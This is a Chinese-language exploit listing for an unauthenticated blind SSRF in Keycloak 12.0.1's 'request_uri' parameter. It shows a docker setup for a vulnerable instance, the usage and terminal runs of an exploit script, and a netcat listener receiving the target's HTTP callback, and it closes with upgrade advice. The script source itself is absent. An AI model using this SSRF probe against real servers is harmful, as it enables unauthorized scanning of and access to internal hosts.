Keycloak 12.0.1 - 'request_uri' 盲服务端请求伪造(SSRF)(未认证)
预期结果:扫描本地主机或内部可访问主机的端口。
仅用于在企业环境中的教育和测试。
此漏洞利用已在 Python 3.8.6 上测试。
存在漏洞的应用程序:
docker run -p 9990:9990 -p 8080:8080 -e KEYCLOAK_USER=admin -e KEYCLOAK_PASSWORD=admin jboss/keycloak:12.0.1
cfx: ~/keycloak
→ python3 exploit.py -h
usage: exploit.py [-h] [-u URL]
-=[由 ColdFusionX 进行的 Keycloak 盲 SSRF 测试]=-
可选参数:
-h, --help 显示此帮助信息并退出
-u URL, --url URL Keycloak 目标 URL(示例:http://127.0.0.1:8080)
利用用法:
./exploit.py -u http://127.0.0.1:8080
[^] 输入 Netcat 主机:端口 -> 192.168.0.1:4444
cfx: ~/keycloak
→ python3 exploit.py -u http://localhost:8080
[+] 由 ColdFusionX 进行的 Keycloak 绑定 SSRF 测试
[^] 输入 Netcat 主机:端口 -> 192.168.0.1:4444
[-] 无效的 URL 或目标无漏洞
cfx: ~/keycloak
→ python3 exploit.py -u http://localhost:8080
[+] 由 ColdFusionX 进行的 Keycloak 绑定 SSRF 测试
[^] 输入 Netcat 主机:端口 -> 192.168.0.1:9994
[+] 发现!检查 Netcat 监听器以获取 HTTP 回调 :)
在 nc 监听器上获取 HTTP 回调:
cfx: ~/keycloak
→ nc -lvnp 9994
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9994
Ncat: Listening on 0.0.0.0:9994
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:36866.
GET / HTTP/1.1
Host: 192.168.0.1:9994
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.13 (Java/11.0.9.1)
Accept-Encoding: gzip,deflate
升级到 Keycloak 12.0.2 或更高版本